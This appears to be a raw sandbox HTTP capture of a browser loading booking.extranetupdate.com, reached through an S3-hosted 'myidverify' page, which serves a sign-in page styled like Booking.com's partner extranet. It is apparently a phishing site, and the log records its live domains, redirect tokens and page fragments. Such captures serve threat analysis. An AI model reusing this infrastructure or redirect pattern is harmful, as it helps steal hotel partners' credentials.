2025-04-17 11:24:20 UTC	711	OUT	GET / HTTP/1.1 Host: extranetupdate.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://myidverify.s3.us-east-1.amazonaws.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-17 11:24:21 UTC	1191	IN	HTTP/1.1 302 Found Date: Thu, 17 Apr 2025 11:24:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Cf-Ray: 931b8e33ea6653e5-ATL Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0 Pragma: no-cache Location: /sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI Last-Modified: Thursday, 17-Apr-2025 11:24:20 GMT Cf-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4pX71NaJPORkV9dk6ivXtDshvbLDaGF4IHPZbtqBPiSvFhQ0rmRQnjr%2FRijdfbWqWreW2wScm4%2FRNNC9LjjF7nCFFrd7ut3WITxGTmvqbEsy1vJgVr2LqsoNjfjYdkxkl97G7Ps%3D"}],"group":"cf-nel","max_age":604800} Set-Cookie: PHPSESSID=5g9qhg2s8j1v6ia0pupjhbf3oj; Path=/ alt-svc: h3=":443"; ma=86400
2025-04-17 11:24:21 UTC	220	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 30 35 39 36 31 26 6d 69 6e 5f 72 74 74 3d 31 30 35 39 35 37 26 72 74 74 5f 76 61 72 3d 32 32 33 35 34 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 38 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 34 35 26 72 65 63 76 5f 62 79 74 65 73 3d 31 32 38 33 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 38 31 30 35 26 63 77 6e 64 3d 32 35 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 32 64 33 33 37 31 32 30 36 66 30 66 63 65 65 33 26 74 73 3d 38 33 38 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=105961&min_rtt=105957&rtt_var=22354&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1283&delivery_rate=38105&cwnd=252&unsent_bytes=0&cid=2d3371206f0fcee3&ts=838&x=0"
2025-04-17 11:24:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-04-17 11:24:21 UTC	1058	OUT	GET /sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI HTTP/1.1 Host: extranetupdate.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://myidverify.s3.us-east-1.amazonaws.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=5g9qhg2s8j1v6ia0pupjhbf3oj
2025-04-17 11:24:21 UTC	1175	IN	HTTP/1.1 302 Found Date: Thu, 17 Apr 2025 11:24:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cf-Ray: 931b8e3838cf675f-ATL Server: cloudflare Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0 Pragma: no-cache Location: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI Last-Modified: Thursday, 17-Apr-2025 11:24:21 GMT Cf-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eNkRj99MUxGocTwS1hfFJKmozyghOOa2Rr9GwpfURyCIauLdWsfLeXvVsCZFeoAsTxuSLSYzSuBS9mtp3nV%2F7sFpFcwNcdq5qUk%2FBvtp%2FLS%2Besbz43k0uQXa3K9ZKp6TJa%2BDK%2BE%3D"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400
2025-04-17 11:24:21 UTC	221	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 30 35 36 33 34 26 6d 69 6e 5f 72 74 74 3d 31 30 35 36 31 30 26 72 74 74 5f 76 61 72 3d 32 32 33 31 34 26 73 65 6e 74 3d 37 26 72 65 63 76 3d 39 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 34 33 26 72 65 63 76 5f 62 79 74 65 73 3d 31 36 35 32 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 38 32 30 36 26 63 77 6e 64 3d 32 34 39 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 62 33 39 36 36 63 33 36 63 36 36 39 37 30 35 31 26 74 73 3d 31 35 31 34 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=105634&min_rtt=105610&rtt_var=22314&sent=7&recv=9&lost=0&retrans=0&sent_bytes=2843&recv_bytes=1652&delivery_rate=38206&cwnd=249&unsent_bytes=0&cid=b3966c36c6697051&ts=1514&x=0"
2025-04-17 11:24:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-04-17 11:24:22 UTC	1020	OUT	GET /sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI HTTP/1.1 Host: booking.extranetupdate.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://myidverify.s3.us-east-1.amazonaws.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-17 11:24:22 UTC	1110	IN	HTTP/1.1 200 OK Date: Thu, 17 Apr 2025 11:24:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Cf-Ray: 931b8e3fd8a253e1-ATL Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0 Pragma: no-cache Last-Modified: Thursday, 17-Apr-2025 11:24:22 GMT Cf-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bxH5V7M6Xk5FKL%2BgSwFrUZDUtmNQtux03XUWV%2F461QnYLZvgC9jF4ie2d61y%2FTMXu9HtCJiRMKDlOXdt4Jgr8Rh6qiuJ55i71cW1OYj4CsDeI3sxlPonvGDGnIXmHzzJitjxCO4KAioYodne5Q%3D%3D"}],"group":"cf-nel","max_age":604800} Set-Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt; Path=/ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=105977&min_rtt=105966&rtt_var=22372&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1614&delivery_rate=38085&cwnd=252&unsent_bytes=0&cid=22dfb15e0f694cee&ts=833&x=0"
2025-04-17 11:24:22 UTC	259	IN	Data Raw: 32 33 32 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 0d 0a 20 20 20 20 6c 61 6e 67 3d 22 65 6e 22 0d 0a 20 20 20 20 64 69 72 3d 22 6c 74 72 22 0d 0a 20 20 20 20 70 72 65 66 69 78 3d 22 63 6f 6e 74 65 6e 74 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 72 73 73 2f 31 2e 30 2f 6d 6f 64 75 6c 65 73 2f 63 6f 6e 74 65 6e 74 2f 20 20 64 63 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 74 65 72 6d 73 2f 20 20 66 6f 61 66 3a 20 68 74 74 70 3a 2f 2f 78 6d 6c 6e 73 2e 63 6f 6d 2f 66 6f 61 66 2f 30 2e 31 2f 20 20 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 20 72 64 66 73 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 31 2f 72 64 66 2d 73 63 68 65 6d 61 23 20 Data Ascii: 2327<!DOCTYPE html><html lang="en" dir="ltr" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema#
2025-04-17 11:24:22 UTC	1369	IN	Data Raw: 65 6d 61 3a 20 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 20 20 73 69 6f 63 3a 20 68 74 74 70 3a 2f 2f 72 64 66 73 2e 6f 72 67 2f 73 69 6f 63 2f 6e 73 23 20 20 73 69 6f 63 74 3a 20 68 74 74 70 3a 2f 2f 72 64 66 73 2e 6f 72 67 2f 73 69 6f 63 2f 74 79 70 65 73 23 20 20 73 6b 6f 73 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 34 2f 30 32 2f 73 6b 6f 73 2f 63 6f 72 65 23 20 20 78 73 64 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 23 20 22 0d 0a 20 20 20 20 63 6c 61 73 73 3d 22 6a 73 22 0d 0a 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 Data Ascii: ema: http://schema.org/ sioc: http://rdfs.org/sioc/ns# sioct: http://rdfs.org/sioc/types# skos: http://www.w3.org/2004/02/skos/core# xsd: http://www.w3.org/2001/XMLSchema# " class="js"> <head> <meta http-equiv="content-type" conte
2025-04-17 11:24:22 UTC	1369	IN	Data Raw: 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 40 63 6f 6e 74 65 78 74 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 40 67 72 61 70 68 22 3a 20 5b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 41 72 74 69 63 6c 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 4f 6e 6c 69 6e 65 20 73 65 63 75 72 69 74 79 20 61 77 61 72 65 6e 65 73 73 3a 20 70 68 69 73 68 69 6e 67 20 61 6e 64 20 65 6d 61 69 6c 20 73 70 6f 6f 66 69 6e 67 22 2c Data Ascii: > { "@context": "https://schema.org", "@graph": [ { "@type": "Article", "name": "Online security awareness: phishing and email spoofing",
2025-04-17 11:24:22 UTC	1369	IN	Data Raw: 20 20 20 20 20 22 69 74 65 6d 4c 69 73 74 45 6c 65 6d 65 6e 74 22 3a 20 5b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 4c 69 73 74 49 74 65 6d 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 70 6f 73 69 74 69 6f 6e 22 3a 20 31 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 48 6f 6d 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: "itemListElement": [ { "@type": "ListItem", "position": 1, "name": "Home",
2025-04-17 11:24:22 UTC	1369	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 40 74 79 70 65 22 3a 20 22 4c 69 73 74 49 74 65 6d 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 70 6f 73 69 74 69 6f 6e 22 3a 20 35 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 4f 6e 6c 69 6e 65 20 73 65 63 75 72 69 74 79 20 61 77 61 72 65 6e 65 73 73 3a 20 70 68 69 73 68 69 6e 67 20 61 6e 64 20 65 6d 61 69 6c 20 73 70 6f 6f 66 69 6e 67 22 2c 0d 0a 20 20 20 20 20 20 Data Ascii: { "@type": "ListItem", "position": 5, "name": "Online security awareness: phishing and email spoofing",
2025-04-17 11:24:22 UTC	1369	IN	Data Raw: 64 74 68 3a 20 35 37 36 70 78 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2e 62 75 69 2d 75 2d 74 65 78 74 2d 6c 65 66 74 5c 40 6d 65 64 69 75 6d 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2e 62 75 69 2d 75 2d 74 65 78 74 2d 72 69 67 68 74 5c 40 6d 65 64 69 75 6d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2e 72 74 6c 20 2e 62 75 69 2d 75 2d 74 65 78 74 2d 6c 65 66 74 5c 40 6d 65 64 69 75 6d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5b 64 69 72 3d 22 72 74 6c 22 5d 20 2e 62 75 69 2d Data Ascii: dth: 576px) { .bui-u-text-left\@medium { text-align: left !important; } .bui-u-text-right\@medium, .rtl .bui-u-text-left\@medium, [dir="rtl"] .bui-
2025-04-17 11:24:22 UTC	1369	IN	Data Raw: 73 6d 61 6c 6c 5f 6c 69 6e 65 5f 68 65 69 67 68 74 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 61 70 70 2d 6c 6f 61 64 65 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 74 74 6f 6d 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6c 65 66 74 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e Data Ascii: small_line_height); } .app-loader { align-items: center; bottom: 0; display: flex; justify-content: center; left: 0; position
2025-04-17 11:24:22 UTC	534	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 74 74 6f 6d 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6c 65 66 74 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 69 67 68 74 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 6f 70 3a 20 30 3b 0d 0a 20 20 20 Data Ascii: border: solid transparent; border-radius: 50%; bottom: 0; content: ""; left: 0; position: absolute; right: 0; top: 0;
2025-04-17 11:24:22 UTC	1369	IN	Data Raw: 66 39 63 0d 0a 20 23 30 30 36 63 65 34 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 70 61 63 69 74 79 3a 20 30 2e 33 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 62 75 69 2d 73 70 69 6e 6e 65 72 20 2e 62 75 69 2d 73 70 69 6e 6e 65 72 5f 5f 69 6e 6e 65 72 3a 61 66 74 65 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 63 6f 6c 6f 72 3a 20 23 30 30 36 63 65 34 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 74 6f 70 2d 63 6f 6c 6f 72 3a 20 23 30 30 36 63 65 34 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 Data Ascii: f9c #006ce4; opacity: 0.3; } .bui-spinner .bui-spinner__inner:after { border-right-color: #006ce4; border-top-color: #006ce4; } @-webkit-keyframes
2025-04-17 11:24:22 UTC	1369	IN	Data Raw: 20 2d 32 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 61 3a 66 6f 63 75 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 75 74 6c 69 6e 65 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 30 30 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 23 6f 6e 65 74 72 75 73 74 2d 61 63 63 65 70 74 2d 62 74 6e 2d 68 61 6e 64 6c 65 72 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 23 6f 6e 65 74 72 75 73 74 2d 72 65 6a 65 63 74 2d 61 6c 6c 2d 68 61 6e 64 6c 65 72 2c 0d Data Ascii: -2px; } #onetrust-banner-sdk a:focus { outline: 2px solid #000; } #onetrust-banner-sdk #onetrust-accept-btn-handler, #onetrust-banner-sdk #onetrust-reject-all-handler,

Timestamp	Bytes transferred	Direction	Data
2025-04-17 11:24:23 UTC	912	OUT	GET /static/OtAutoBlock.js HTTP/1.1 Host: booking.extranetupdate.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
2025-04-17 11:24:24 UTC	829	IN	HTTP/1.1 404 Not Found Date: Thu, 17 Apr 2025 11:24:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Cf-Ray: 931b8e46cd85bfa3-ATL Server: cloudflare Cache-Control: max-age=14400 Cf-Cache-Status: MISS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tYl1LVuf9smtbyjtsM47y58wl0UKxOeXDmqcQ09TvQFActh3HeTZj7ptewZv6gWOjP3ikWbUjdlU%2FfG7rpByGNCQl7cKX6VO9S0gthoGybWdMJB3uSJMx4DBpss6TiJNrPFGYY23B%2Bs%2Flyas9Q%3D%3D"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=105991&min_rtt=105933&rtt_var=22400&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1484&delivery_rate=38114&cwnd=252&unsent_bytes=0&cid=086a497ee919e99e&ts=740&x=0"
2025-04-17 11:24:24 UTC	540	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2025-04-17 11:24:24 UTC	15	IN	Data Raw: 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 0d 0a Data Ascii: or page -->
2025-04-17 11:24:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
